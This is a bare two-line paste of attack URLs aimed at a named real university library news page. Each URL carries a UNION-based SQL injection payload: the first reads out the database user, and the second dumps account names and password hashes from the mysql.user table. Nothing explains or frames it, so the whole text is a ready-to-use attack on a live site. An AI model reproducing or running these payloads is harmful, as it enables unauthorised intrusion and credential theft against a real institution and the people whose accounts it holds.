http://www.sc.edu/library/news/index.php?mode=view&id=-252+union+select+1,unhex(hex(user())),3,4,5,6,7,8,9,10,11,12,13/*
http://www.sc.edu/library/news/index.php?mode=view&id=-252+union+select+1,unhex(hex(group_concat(user,0x3a,password))),3,4,5,6,7,8,9,10,11,12,13+from+mysql.user/*